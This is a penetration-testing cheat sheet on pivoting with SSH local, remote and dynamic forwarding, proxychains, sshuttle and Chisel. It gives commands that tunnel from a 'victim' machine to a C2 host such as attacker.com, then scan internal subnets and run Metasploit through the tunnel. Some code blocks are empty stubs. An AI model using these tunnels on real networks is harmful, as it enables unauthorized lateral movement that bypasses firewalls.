SSH Tunneling + SSHuttle and Chisel #
Used for pivoting
Local port forwarding #
1 |
|
Remote port forwarding #
- Below is the preparation that is needed to be done on the SSH Server(Pivot)
1 2
sudo echo "GatewayPorts clientspecified" >> /etc/ssh/sshd_config sudo systemctl restart ssh
- Command:
1 2
ssh -R sshGatewayIp:sshGatewayPort:localIp:localPort user@sshGateway ssh -R 127.0.0.1:2222:127.0.0.1:22 [email protected]
Dynamic port forwarding with proxychains #
-
Proxychains preparation (Change localPort):
1 2
# Normal sudo echo "socks4 127.0.0.1 localPort" >> /etc/proxychains.conf
- Command to establish connection(Basic command is just "-D"):
1
ssh -NfD localPort user@sshGateway
- Make use of proxychains:
1 2 3 4 5
proxychains nmap -v --open -sT -Pn -T4 -p21,22,23,25,80,139,443,445,3389,8000,8080 10.0.1.0/24 #-sT -Pn for proxychains proxychains msfconsole proxychains rdesktop targetIP -u user -p password -g 90% proxychains ssh -NfD 2ndlocalPort user@2ndLevelPhasesshGateway proxychains firefox
Dynamic port forwarding with SSHuttle #
- Recommended and does not need root on pivot machine)
- Has limitations: Does not really work with nmap
- Use a static nmap binary instead on the compromised host
1 2 3 4 |
|
Chisel #
- Recommended and does not need root on pivot machine) 5
- Alternative for SSH(Local, Remote and Dynamic) especially on pivoting machines
- Built on Go
- Has ready made binary releases on Github which works on a lot of Operating Systems6
- Better to compile though
1 2 3 4 5 6 |
|
- Remote/Reverse Forwarding (for reverse connections [i.e. reverse_tcp])
- Quick Diagrams for the visual people
[INTERNET_ISOLATED_MACHINE] --> [Pivot_Machine] --(FIREWALL)--(INTERNET)-- [C2/Kali] ---making it seamless as if:--- [INTERNET_ISOLATED_MACHINE] =============================================> [C2/Kali]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
|
- Chisel Socks Proxy
- Using
reverse
command- On the server (C2[cloud] / Kali VM[internal/labs])
1 2
./chisel server -v -p 8000 --reverse sudo echo "socks5 127.0.0.1 1080" > /etc/proxychains.conf
- On the client/target/victim machine
1 2 3 4 5
chisel.exe client -v <c2/kali_IP>:8000 R:socks or chisel.exe client -v attacker.com:8000 R:socks or chisel.exe client -v 192.168.1.5:8000 R:socks
- On the server (C2[cloud] / Kali VM[internal/labs])
1 2 3 4 5 6 7
sudo bash -c 'echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf' ssh -NfD 1080 127.0.0.1 proxychains nmap -v --open -sT -Pn -T4 -p21,22,23,25,80,139,443,445,3389,8000,8080 10.0.1.0/24 #-sT -Pn for proxychains proxychains msfconsole proxychains rdesktop targetIP -u user -p password -g 90% proxychains ssh -NfD 2ndlocalPort user@2ndLevelPhasesshGateway proxychains firefox
- On the server (C2[cloud] / Kali VM[internal/labs])
- Using
socks5
command- On the server (C2[cloud] / Kali VM[internal/labs])
1
./chisel server -v -p 8000 --socks5
- On the client/target/victim machine
1 2 3 4 5
chisel.exe client -v <c2/kali_IP>:8000 socks or chisel.exe client -v attacker.com:8000 socks or chisel.exe client -v 192.168.1.5:8000 socks
- On the server (C2[cloud] / Kali VM[internal/labs])
1 2 3 4 5 6 7
sudo bash -c 'echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf' ssh -NfD 1080 127.0.0.1 proxychains nmap -v --open -sT -Pn -T4 -p21,22,23,25,80,139,443,445,3389,8000,8080 10.0.1.0/24 #-sT -Pn for proxychains proxychains msfconsole proxychains rdesktop targetIP -u user -p password -g 90% proxychains ssh -NfD 2ndlocalPort user@2ndLevelPhasesshGateway proxychains firefox
- On the server (C2[cloud] / Kali VM[internal/labs])
- TIP
- If the chisel server is on a cloud C2, and you want to connect from your kali(separate machine)
- Perform step c. on your Kali instead, no need to do it on the chisel server(c2)
- Just change
ssh -NfD 1080 127.0.0.1
tossh -NfD 1080 [email protected]
- Just change
- Perform step c. on your Kali instead, no need to do it on the chisel server(c2)
- If the chisel server is on a cloud C2, and you want to connect from your kali(separate machine)
- Using
Last update: April 28, 2022